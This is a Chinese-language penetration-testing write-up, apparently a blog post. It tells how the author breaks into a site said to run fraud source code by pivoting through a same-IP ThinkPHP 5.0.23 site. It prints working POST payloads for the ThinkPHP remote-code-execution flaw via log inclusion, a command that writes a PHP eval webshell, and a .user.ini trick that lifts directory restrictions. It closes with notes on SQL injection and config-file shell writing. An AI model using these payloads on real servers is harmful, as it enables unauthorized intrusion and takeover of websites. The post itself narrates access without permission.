一、同IP滲透
最近朋友發(fā)了個(gè)站叫我看看,打開一看,發(fā)現(xiàn)是TP3.2.3開發(fā)的,
本想直接利用tp3可以直接查看runtime日志來獲取他的后臺(tái)賬號(hào)密碼的,
發(fā)現(xiàn)并沒有開啟debug模式,所以無法查看到日志信息。
隨便注冊(cè)了一個(gè)賬號(hào)進(jìn)去,看有沒有注入,無果。
對(duì)這個(gè)站進(jìn)行信息收集,進(jìn)行同ip的反查,發(fā)現(xiàn)7個(gè)地址。
每個(gè)域名又是不同的源碼發(fā)開的,發(fā)現(xiàn)一個(gè)thinkphp5.0.23的網(wǎng)站,可以利用rce
發(fā)現(xiàn)無法直接執(zhí)行代碼,需要利用runtime日志或者session來進(jìn)行文件包含獲取shell,這里利用runtime日志來進(jìn)行文件包含getshell,先寫入日志。
利用日志進(jìn)行包含,post發(fā)送:
_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=../runtime/log/202007/08.log&x=phpinfo();
寫入shell:
_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=../runtime/log/202007/08.log&c=fputs(fopen('x.php','w'),'<?php eval($_POST[c]);?>');
成功getshell,由于是寶塔搭建的,無法訪問其他路徑,這里可以在新的文件上傳一個(gè).user.ini,再在這個(gè)文件上傳一個(gè)一句話,就能成功訪問其他目錄了,.user.ini內(nèi)容為:
open=basedir=
重新嘗試訪問www目錄,成功
這樣就成功拿下主站的權(quán)限的,發(fā)現(xiàn)主站的代碼,fofa查了下,有很多使用這套詐騙源碼開發(fā)的,就下載了下來審計(jì)了下。
二、代碼審計(jì)
發(fā)現(xiàn)前臺(tái)sql注入,沒有任何過濾
由于需要開啟debug模式才會(huì)生效
這個(gè)詐騙源碼太多注入了,就不看其他的了,全局查找file_put_contents,發(fā)現(xiàn)后臺(tái)可以寫入配置文件getshell
他明明都使用了var_export函數(shù),卻要添加一個(gè)stripslashes去掉轉(zhuǎn)義符,構(gòu)造如下payload
訪問文件,成功寫入phpinfo






